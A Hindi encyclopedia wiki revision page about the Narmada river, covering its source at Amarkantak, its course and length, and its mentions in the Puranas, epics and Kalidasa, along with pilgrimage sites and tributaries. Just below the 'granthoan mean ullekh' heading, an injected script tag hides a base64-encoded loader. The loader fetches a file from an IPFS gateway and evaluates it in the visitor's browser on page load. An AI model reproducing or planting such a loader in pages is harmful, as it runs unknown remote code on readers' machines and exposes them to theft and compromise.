Difference between revisions of "नर्मदा नदी"

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
Line 1: Line 1:
 
[[चित्र:Narmada-River.jpg|नर्मदा नदी<br /> Narmada River|thumb|350px]]
 
[[चित्र:Narmada-River.jpg|नर्मदा नदी<br /> Narmada River|thumb|350px]]
नर्मदा [[भारत]] के मध्यभाग में पूरब से पश्चिम की ओर बहने वाली [[मध्य प्रदेश]] और [[गुजरात]] राज्य में बहने वाली एक प्रमुख नदी है, जो [[गंगा नदी|गंगा]] के समान पूजनीय है। महाकाल पर्वत के अमरकण्टक शिखर से नर्मदा नदी की उत्पत्ति हुई है। नर्मदा सर्वत्र पुण्यमयी नदी बताई गई है तथा इसके उद्भव से लेकर संगम तक दस करोड़ तीर्थ हैं।   
+
नर्मदा [[भारत]] के मध्यभाग में पूरब से पश्चिम की ओर बहने वाली मध्य प्रदेश और [[गुजरात]] राज्य में बहने वाली एक प्रमुख नदी है, जो [[गंगा नदी|गंगा]] के समान पूजनीय है। महाकाल पर्वत के अमरकण्टक शिखर से नर्मदा नदी की उत्पत्ति हुई है। नर्मदा सर्वत्र पुण्यमयी नदी बताई गई है तथा इसके उद्भव से लेकर संगम तक दस करोड़ तीर्थ हैं।   
 
<poem>
 
<poem>
 
*पुण्या कनखले गंगा कुरुक्षेत्रे सरस्वती ।
 
*पुण्या कनखले गंगा कुरुक्षेत्रे सरस्वती ।
Line 7: Line 7:
 
तत्रान्तरे महाराज तीर्थकोट्यो दश स्थिता: ॥<balloon title="पद्म पुराण, आदिखण्ड 21/42" style=color:blue>*</balloon>  
 
तत्रान्तरे महाराज तीर्थकोट्यो दश स्थिता: ॥<balloon title="पद्म पुराण, आदिखण्ड 21/42" style=color:blue>*</balloon>  
 
</poem>
 
</poem>
इसका उद्गम [[विंध्याचल पर्वत|विंध्याचल]] की मैकाल पहाड़ी श्रृंखला में अमरकंटक नामक स्थान में है । मैकाल से निकलने के कारण नर्मदा को मैकाल कन्या भी कहते हैं । [[स्कंद पुराण]] में इस नदी का वर्णन रेवा खंड के अंतर्गत किया गया है । [[कालिदास]] के ‘[[मेघदूतम्]]’ में नर्मदा को रेवा का संबोधन मिला है , जिसका अर्थ है—पहाड़ी चट्टानों से कूदने वाली। वास्तव में नर्मदा की तेजधारा पहाड़ी चट्टानों पर और भेड़ाघाट में संगमरमर की चट्टानों के ऊपर से उछलती हुई बहती है । अमरकंटक में सुंदर सरोवर में स्थित शिवलिंग से निकलने वाली इस पावन धारा को रुद्र कन्या भी कहते हैं, जो आगे चलकर नर्मदा नदी का विशाल रूप धारण कर लेती हैं । पवित्र नदी नर्मदा के तट पर अनेक तीर्थ हैं , जहां श्रद्धालुओं का तांता लगा रहता है । इनमें कपिलधारा, शुक्लतीर्थ, मांधाता , भेड़ाघाट, शूलपाणि, भड़ौंच उल्लेखनीय हैं । अमरकंटक की पहाड़ियों से निकल कर [[छत्तीसगढ़]], [[मध्य प्रदेश]], [[महाराष्ट्र]] और [[गुजरात]] से होकर नर्मदा करीब 1310 किमी का प्रवाह पथ तय कर भरौंच के आगे खंभात की खाड़ी में विलीन हो जाती है । परंपरा के अनुसार नर्मदा की परिक्रमा का प्रावधान हैं, जिससे श्रद्धालुओं को पुण्य की प्राप्ति होती है । [[पुराण|पुराणों]] में बताया गया है कि नर्मदा नदी के दर्शन मात्र से समस्त पापों का नाश होता है ।  
+
इसका उद्गम [[विंध्याचल पर्वत|विंध्याचल]] की मैकाल पहाड़ी श्रृंखला में अमरकंटक नामक स्थान में है । मैकाल से निकलने के कारण नर्मदा को मैकाल कन्या भी कहते हैं । [[स्कंद पुराण]] में इस नदी का वर्णन रेवा खंड के अंतर्गत किया गया है । [[कालिदास]] के ‘[[मेघदूतम्]]’ में नर्मदा को रेवा का संबोधन मिला है , जिसका अर्थ है—पहाड़ी चट्टानों से कूदने वाली। वास्तव में नर्मदा की तेजधारा पहाड़ी चट्टानों पर और भेड़ाघाट में संगमरमर की चट्टानों के ऊपर से उछलती हुई बहती है । अमरकंटक में सुंदर सरोवर में स्थित शिवलिंग से निकलने वाली इस पावन धारा को रुद्र कन्या भी कहते हैं, जो आगे चलकर नर्मदा नदी का विशाल रूप धारण कर लेती हैं । पवित्र नदी नर्मदा के तट पर अनेक तीर्थ हैं , जहां श्रद्धालुओं का तांता लगा रहता है । इनमें कपिलधारा, शुक्लतीर्थ, मांधाता , भेड़ाघाट, शूलपाणि, भड़ौंच उल्लेखनीय हैं । अमरकंटक की पहाड़ियों से निकल कर [[छत्तीसगढ़]], [[मध्य प्रदेश]], [[महाराष्ट्र]] और गुजरात से होकर नर्मदा करीब 1310 किमी का प्रवाह पथ तय कर भरौंच के आगे खंभात की खाड़ी में विलीन हो जाती है । परंपरा के अनुसार नर्मदा की परिक्रमा का प्रावधान हैं, जिससे श्रद्धालुओं को पुण्य की प्राप्ति होती है । [[पुराण|पुराणों]] में बताया गया है कि नर्मदा नदी के दर्शन मात्र से समस्त पापों का नाश होता है ।  
  
 
इसकी लम्बाई प्रायः 1310 किलो मीटर है। यह नदी पश्चिम की तरफ जाकर खम्बात की खाड़ी में गिरती है। इस नदी के किनारे बसा शहर [[जबलपुर]] उल्लेखनीय है। इस नदी के मुहाने पर डेल्टा नहीं है। जबलपुर के निकट भेड़ाघाट का नर्मदा जलप्रपात काफ़ी प्रसिद्ध है । [[वेद|वेदों]] में नर्मदा का कोई उल्लेख नहीं है। गंगा के उपरान्त भारत की अत्यन्त पुनीत नदियों में नर्मदा एवं [[गोदावरी नदी|गोदावरी]] के नाम आते हैं। '''रेवा''' नर्मदा का दूसरा नाम है और यह सम्भव है कि 'रेवा' से ही 'रेवोत्तरस' नाम पड़ा हो।
 
इसकी लम्बाई प्रायः 1310 किलो मीटर है। यह नदी पश्चिम की तरफ जाकर खम्बात की खाड़ी में गिरती है। इस नदी के किनारे बसा शहर [[जबलपुर]] उल्लेखनीय है। इस नदी के मुहाने पर डेल्टा नहीं है। जबलपुर के निकट भेड़ाघाट का नर्मदा जलप्रपात काफ़ी प्रसिद्ध है । [[वेद|वेदों]] में नर्मदा का कोई उल्लेख नहीं है। गंगा के उपरान्त भारत की अत्यन्त पुनीत नदियों में नर्मदा एवं [[गोदावरी नदी|गोदावरी]] के नाम आते हैं। '''रेवा''' नर्मदा का दूसरा नाम है और यह सम्भव है कि 'रेवा' से ही 'रेवोत्तरस' नाम पड़ा हो।

Revision as of 09:18, 20 May 2010

narmada nadi
Narmada River|thumb|350px
narmada bharat ke madhyabhag mean poorab se pashchim ki or bahane vali madhy pradesh aur gujarat rajy mean bahane vali ek pramukh nadi hai, jo ganga ke saman poojaniy hai. mahakal parvat ke amarakantak shikhar se narmada nadi ki utpatti huee hai. narmada sarvatr punyamayi nadi bataee gee hai tatha isake udbhav se lekar sangam tak das karo d tirth haian.

  • punya kanakhale ganga kurukshetre sarasvati .

grame va yadi varanye punya sarvatr narmada ॥<balloon title="padm puran, adikhand 13-6-7" style=color:blue>*</balloon>

  • narmada sangam yavadh yavachchamarakantakamh .

tatrantare maharaj tirthakotyo dash sthita: ॥<balloon title="padm puran, adikhand 21/42" style=color:blue>*</balloon>

isaka udgam viandhyachal ki maikal paha di shrriankhala mean amarakantak namak sthan mean hai . maikal se nikalane ke karan narmada ko maikal kanya bhi kahate haian . skand puran mean is nadi ka varnan reva khand ke aantargat kiya gaya hai . kalidas ke ‘meghadootamh’ mean narmada ko reva ka sanbodhan mila hai , jisaka arth hai—paha di chattanoan se koodane vali. vastav mean narmada ki tejadhara paha di chattanoan par aur bhe daghat mean sangamaramar ki chattanoan ke oopar se uchhalati huee bahati hai . amarakantak mean suandar sarovar mean sthit shivaliang se nikalane vali is pavan dhara ko rudr kanya bhi kahate haian, jo age chalakar narmada nadi ka vishal roop dharan kar leti haian . pavitr nadi narmada ke tat par anek tirth haian , jahaan shraddhaluoan ka taanta laga rahata hai . inamean kapiladhara, shuklatirth, maandhata , bhe daghat, shoolapani, bh dauanch ullekhaniy haian . amarakantak ki paha diyoan se nikal kar chhattisagadh, madhy pradesh, maharashtr aur gujarat se hokar narmada karib 1310 kimi ka pravah path tay kar bharauanch ke age khanbhat ki kha di mean vilin ho jati hai . paranpara ke anusar narmada ki parikrama ka pravadhan haian, jisase shraddhaluoan ko puny ki prapti hoti hai . puranoan mean bataya gaya hai ki narmada nadi ke darshan matr se samast papoan ka nash hota hai .

isaki lambaee prayah 1310 kilo mitar hai. yah nadi pashchim ki taraph jakar khambat ki kha di mean girati hai. is nadi ke kinare basa shahar jabalapur ullekhaniy hai. is nadi ke muhane par delta nahian hai. jabalapur ke nikat bhe daghat ka narmada jalaprapat kafi prasiddh hai . vedoan mean narmada ka koee ullekh nahian hai. ganga ke uparant bharat ki atyant punit nadiyoan mean narmada evan godavari ke nam ate haian. reva narmada ka doosara nam hai aur yah sambhav hai ki 'reva' se hi 'revottaras' nam p da ho.

granthoan mean ullekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

vaidik sahity mean narmada ke vishay mean koee spasht sanket nahian milata.

  • ramayan tatha mahabharat aur paravarti granthoan mean is nadi ke vishay mean anek ullekh haian. pauranik anushruti ke anusar narmada ki ek nahar kisi somavanshi raja ne nikali thi jisase usaka nam somodbhava bhi p d gaya tha.
  • guptakalin amarakosh mean bhi narmada ko somodbhava kaha hai.<balloon title="’revatunarmada somodbhava mekalakanyaka’, pauranik anushruti" style="color:blue">*</balloon>
  • kalidas ne bhi narmada ko somaprabhava kaha hai.<balloon title="’tathetyupasyrishy pay: pavitran somodbhavaya: sarito nrisom:’ raghuvansh 5,59" style="color:blue">*</balloon>
  • raghuvansh mean narmada ka ullekh hai.[1]
  • meghadoot mean reva ya narmada ka sundar varnan hai.<balloon title="(de॰ reva)" style="color:blue">*</balloon>
  • valmiki ramayan mean bhi narmada ka ullekh hai.[2] isake pashchat ke shlokoan mean narmada ka ek yuvati nari ke roop mean suandar varnan hai[3].
  • mahabharat mean narmada ko rrikshaparvat se udbhoot mana gaya hai.<balloon title="’purashchapashchachch yatha mahanadi tamrikshavantan girimety narmada’, shantiparv 52,32" style="color:blue">*</balloon> <balloon title="(de॰ vanaparv 82,52)" style="color:blue">*</balloon>
  • bhishmaparv mean narmada ka godavari ke sath ullekh hai.<balloon title="’godavarian narmadaan ch bahudaan ch mahanadimh’, bhishmaparv 9,14" style="color:blue">*</balloon>
  • shrimadbhagavat mean reva aur narmada donoan ka hi ek sthan par ullekh hai.<balloon title="’tapi reva sarasa narmada charmanvati siandhurandh: shonashch nadau’, shrimadbhagavat 5,19,18" style="color:blue">*</balloon>
  • shatapath brahman<balloon title="shatapath brahman, 12.9.3.1" style=color:blue>*</balloon> ne revottaras ki charcha ki hai, jo patav chakr evan sthapati (mukhy) tha, jise srinjayoan ne nikal bahar kiya tha.[4]
  • panini<balloon title="panini 4.2.87" style=color:blue>*</balloon> ke ek vartik ne 'mahishmath' ki vyutpatti 'mahish' se ki hai, ise samanyat: narmada par sthit mahishmati ka hi roopantar mana gaya hai. isase prakat hota hai ki sambhavat: vartikakar ko (lagabhag ee॰poo॰ chauthi shatabdi mean ) narmada ka parichay tha.
  • raghuvansh<balloon title="raghuvansh 96.43" style=color:blue>*</balloon> mean reva (arthath narmada) ke tat par sthit mahishmati ko anoop ki rajadhani kaha gaya hai.

jan p data hai ki kahian-kahian sahity mean is nadi ke poorvi ya paha di bhag ko reva (shabdik arth—uchhalane-koodane vali) aur pashchimi ya maidani bhag ko narmada (shabdik arth—narm ya sukh dene vali) kaha gaya hai. (kintu mahabharat ke uparyukt uddharan mean udagam ke nikat hi nadi ko narmada nam se abhihit kiya gaya hai). narmada ke tatavarti pradesh ko bhi kabhi-kabhi narmada nam se hi nirdisht kiya jata tha. vishnupuran ke anusar is pradesh par shayad guptakal se poorv abhir adi shoodrajatiyoan ka adhikar tha.<balloon title="’narmada marubhoovishayaanshch-abhir shoodradya: bhokshyanti’, vishnupuran 4,24" style="color:blue">*</balloon> vaise narmada ka nadi ke rup mean ullekh hai.[5] <balloon title="de॰ reva, somodbhava." style="color:blue">*</balloon>

narmada ki mahatta

mahabharat evan katipay puranoan mean narmada ki charcha bahudha huee hai. matsy puran<balloon title="adhyay 186-194,554 shlok" style=color:blue>*</balloon>, padm puran<balloon title="adikhand, adhyay 13-23, 739 shlok, jinamean bahut se matsy puran ke hi shlok haian" style=color:blue>*</balloon> koorm puran<balloon title="uttarardh, adhyay 40-42, 189 shlok" style=color:blue>*</balloon> ne narmada ki mahatta evan usake tirthoan ka varnan kiya hai. matsy puran<balloon title="matsy puran 194.45" style=color:blue>*</balloon> evan padm puran adi<balloon title="padm puran, 21.44" style=color:blue>*</balloon> mean aisa aya hai ki us sthan se jahaan narmada sagar mean milati hai, amarakantak parvat tak, jahaan se vah nikalati hai, 10 karo d tirth haian. agni puran<balloon title="agni puran 113.2" style=color:blue>*</balloon> evan koorm puran<balloon title="koorm puran, 2.40.13" style=color:blue>*</balloon> ke mat se kram se 60 karo d evan 60 sahasr tirth haian. naradiy puran<balloon title="uttarardh, adhyay 77" style=color:blue>*</balloon> ka kathan hai ki narmada ke donoan tatoan par 400 mukhy tirth haian<balloon title="shlok 1" style=color:blue>*</balloon>, kintu amarakantak se lekar sadhe tin karo d haian.<balloon title="shlok 4 evan 27-28" style=color:blue>*</balloon> [6] van parv<balloon title="van parv, 188.103 evan 222.24" style=color:blue>*</balloon> ne narmada ka ullekh godavari evan dakshin ki any nadiyoan ke sath kiya hai. usi parv<balloon title="van parv, 89.1-3" style=color:blue>*</balloon> mean yah bhi aya haian ki narmada anart desh mean hai, yah priyangu evan amr-kunjoan se paripoorn hai, isamean vetr lata ke vitan paye jate haian, yah pashchim ki or bahati hai aur tinoan lokoan ke sabhi tirth yahaan (narmada mean) snan karane ko ate haian.[7] matsy puran evan padm puran ne udghosh kiya hai ki ganga kanakhal mean evan sarasvati kurukshetr mean pavitr hai, kintu narmada sabhi sthanoan mean, chahe gram ho ya van. narmada keval darshan-matr se papi ko pavitr kar deti hai; sarasvati (tin dinoan mean) tin snanoan se, yamuna sat dinoan ke snanoan se aur ganga keval ek snan se.<balloon title="matsy puran, 186.10-11=padm puran, adi, 13.6-7=koorm puran 2.40.7-8" style=color:blue>*</balloon> vishnudharmasootr<balloon title="vishnudharmasootr, 85.8" style=color:blue>*</balloon> ne shraddh ke yogy tirthoan ki soochi di haian, jisamean narmada ke sabhi sthaloan ko shraddh ke yogy thaharaya hai. narmada ko rudr ke sharir se nikali huee kaha gaya hai, jo is bat ka kavitvamay prakatikaran matr hai ki yah amarakantak se nikali hai jo maheshvar evan unaki patni ka nivas-sthal kaha jata hai.<balloon title="matsy puran, 188.19" style=color:blue>*</balloon> [8] vayu puran<balloon title="vayu puran, 977.32" style=color:blue>*</balloon> mean aisa udghoshit hai ki nadiyoan mean shreshth punit narmada pitaroan ki putri hai aur is par kiya gaya shraddh akshay hota hai.[9] matsy puran evan koorm puran ka kathan hai ki yah 100 yojan lambi evan do yojan chau di hai.[10] pro0ke0vi0 rangasvami ayangar ne kaha hai ki matsy puran ki bat thik hai, kyoanki narmada vastav mean lagabhag 800 mil lambi hai.<balloon title="unake dvara sampadit kalpataru, pri0 199" style=color:blue>*</balloon> kintu do yojan (arthath unake matanusar 16 mil) ki chau daee bhramak hai. matsy puran evan koorm puran ka kathan hai ki narmada amarakantak se nikali haian, jo kaliang desh ka pashchimi bhag hai.[11]

mantr ka jap evan upavas

vishnupuran ne vyavastha di hai ki yadi koee rat evan din mean aur jab andhakarapoorn sthan mean use jana ho tab 'prat:kal narmada ko namaskar, ratri mean narmada ko namaskar! he narmada, tumhean namaskar; mujhe vishadhar saanpoan se bachaoan' is mantr ka jap karake chalata hai to use saanpoan ka bhay nahian hota.[12] koorm puran evan matsy puran mean aisa kaha gaya hai ki jo agni ya jal mean pravesh karake ya upavas karake (narmada ke kisi tirth par ya amarakantak par) pran tyagata hai vah pun: (is sansar mean) nahian ata.[13]

prachin lekh

t aaulemi ne narmada ko 'namadoj' kaha hai.<balloon title="pri0 102" style=color:blue>*</balloon> narmada ki charcha karane vale shilalekhoan mean ek ati prachin lekh hai eran prastarastambhabhile, jo budhagupt ke kal<balloon title="gupt sanvath 165= 484-85 ee." style=color:blue>*</balloon> ka hai.<balloon title="dekhie karpas ianskripshanam indikeram jild 3, pri0 89" style=color:blue>*</balloon> narmada mean milane vali katipay nadiyoan ke nam milate haian, yatha-

  • kapila<balloon title="dakshini tat par, matsy puran 186.40 evan padm puran 1.13.35" style=color:blue>*</balloon>,
  • vishalya<balloon title="matsy puran 186.46= padm puran 2.35-39" style=color:blue>*</balloon>,
  • erandi<balloon title="matsy puran 191.42-43 evan padm puran 1.18.44" style=color:blue>*</balloon>,
  • ikshu-nadi<balloon title="matsy puran 191.49 evan padm puran 1.18.47" style=color:blue>*</balloon>,
  • kaveri.<balloon title="matsy puran 189.12-13 evan padm puran 1.16.6" style=color:blue>*</balloon> [14]

upatirth

bahut-se upatirthoan ke nam ate haian jinamean do ya tin ka yahaan ullekh kiya jayaga. jo hai-

  • maheshvaratirth (arthath oankar), jahaan se ek tir dvara rudr ne banasur ki tin nagariyaan jala dalian<balloon title="matsy puran 188.2 evan padm puran 1.15.2" style=color:blue>*</balloon>,
  • shukl-tirth<balloon title="matsy puran 192.3 dvara ati prashansit aur jisake bare mean yah kaha jata hai ki rajarshi chanaky ne yahaan siddhi prapt ki thi" style=color:blue>*</balloon>,
  • bhrigutirth:-jisake darshan matr se manushy pap-mukt ho jata hai, jisamean snan karane se svarg milata hai aur jahaan marane se sansar mean pun: lautana nahian p data,
  • jamadagny tirth:-jahaan narmada samudr mean girati hai aur jahaan bhagavan janardan ne poornata prapt ki.

amarakantak parvat ek tirth hai jo brahmahatya ke sath any papoan ka mochan karata hai aur yah vistar mean ek yojan hai.<balloon title="matsy puran 189.89 evan 98" style=color:blue>*</balloon> narmada ka atyant mahattvapoorn tirth hai mahishmati, jisake sthal ke vishay mean vidvanoan mean matabhed raha hai. adhikaansh lekhak yahi kahate haian ki yah oankar mandhata hai jo indaur se lagabhag 40 mil dakshin narmada mean ek dvip hai. isaka itihas purana hai. bauddh granthoan mean aisa aya hai ki ashok mahanh ke rajyakal<balloon title="lagabhag 274 ee॰poo॰" style=color:blue>*</balloon> mean moggaliputt tiss ne kee deshoan mean dharmik doot-mandal bheje the, jinamean ek dootamandal mahishamandal ko bhi bheja gaya tha. da॰ phlit ne mahishamandal ko mahishmati kaha hai.<balloon title="je0 ar0 e0 esh0, pri0 425-477, sanh 1910" style=color:blue>*</balloon> mahabhashyakar ko mahishmati ka jnan tha<balloon title="panini 3.1.26, vartik 10" style=color:blue>*</balloon> kalidas ne ise reva se ghiri huee kaha hai.<balloon title="raghuvansh 6.43" style=color:blue>*</balloon> udyogaparv<balloon title="udyogaparv, 19.23-24 evan 166.4" style=color:blue>*</balloon>, anushasan parv<balloon title="anushasan parv, 166.4" style=color:blue>*</balloon>, bhagavat puran<balloon title="bhagavatapuran, 10.79.21" style=color:blue>*</balloon> evan padm puran<balloon title="padm puran, 2.92.32" style=color:blue>*</balloon> mean mahishmati ko narmada ya reva par sthit mana gaya hai. ek any prachin nagar hai bharukachchh ya bhrigukachchh (adhunik bh doch).

tika-tippani

  1. 's narmadarodhasi sikaradrairmarudbhiranartitanaktamale, niveshayamas vilanghitadhva klaantan rajodhoosaraketoo sainyamh’, raghuvansh 5,42
  2. ’pashyamanastato vidhyan ravanonarmadaan yayau, chalopalajalaan punyaan pashchimodadhigaminimh’, valmiki ramayan-uttarakand, 31,19
  3. ’chakavakai: sakarandai: sahansajalakukkutai:, sarasaishch sadamattai: koojadibh: susamavritamh.
    phulladru makrittottansaan chakavakayugastanimh, vistirnapulinashronian hansavali sumekhalamh.
    pushparenvanuliptaangianjalaphenamalaanshukamh jalavagahasusparshaan phullotpal shubhekshanamh pushpakadavaruhh yashu narmadaan saritaan varamh, ishtamiv varaan narimavagahy dashananh:’, uttarakand 31,21-22-23-24
  4. revottarasamuh patavan chakran sthapatisrinjaya aparurudhu:. shatapathabrahman (12.9.3.1).
  5. taishchoktan purukutsay bhoobhuje narmada tate, sarasvatay tenapi mahyan sarasvaten ch’; ‘narmada surasadyashch nadyo viandhyadrinirgata;’, vishnu puran 1,2,9; 2,3,11
  6. yadyapi reva evan narmada samanyat: samanarthak kahi jati haian, kintu bhagavat puran, 5.19.18 ne inhean prithakh-prithakh (tapi-reva-surasa-narmada) kaha hai, aur vaman puran, 13.25 evan 29-30 ka kathan hai ki reva vindhy se tatha narmada rrikshapad se nikali hai. sardhatrikotitirthani gaditanih vayuna. divi bhuvyantarikshe ch revayaan tani santi ch॥ naradiy puran (uttar, 77.27-28).
  7. aisa lagata hai ki prachin kal mean gujarat evan kathiyava d ko anart kaha jata tha. udyog parv, 97-6 mean dvaraka ko anart–nagari kaha gaya hai. narmada anart mean hokar bahati mani gayi hai at: aisi kalpana ki jati hai ki mahabharat ke kal mean anart ke antargat gujarat ka dakshinibhag evan kathiyava d donoan sammilit the.
  8. narmada saritaan shreanshtha rudradehadvini:srita. tarayeantsarvabhootani sthavarani charani ch॥ matsy puran (190.17= koorm puran 2.40.5= padm puran, adikhand 17.13).
  9. pitrinaan duhita punya narmada saritaan vara. tatr shraddhani dattani akshayani bhavantyut॥ vayupuran (77.32).
  10. yojananaan shatan sagran shrooyate sariduttama. vistaren tu rajendr yojanadvayamayata॥ koorm puran (2.40.12=matsy puran 186.24-25). aur dekhie agni puran (113.2).
  11. kaliangadeshapashchardhe parvateamarakantake. punya ch trishu lokeshu ramaniya manorama॥ koorm puran (2.40.9) evan matsy puran (186.12).
  12. narmadayai nam: pratarnarmadayai namo nishi. namostu narmade tubhyan trahi maan vishasarpat:॥ vishnupuran (4.3.12-13).
  13. anashakan tu y: kuryattasmianstirthe naradhip. garbhavase tu rajendr n punarjayatean pumanh ॥ matsy0 (194.29-30); parityajati y: prananh parvatteamarakantake. varshakotishatan sagran rudraloke mahiyatean॥ matsy puran (186.53-54).
  14. narmada ki uttari shakha jahaan 'oankar' namak dvip avasthit hai 'kaveanri' nam se prasiddh hai.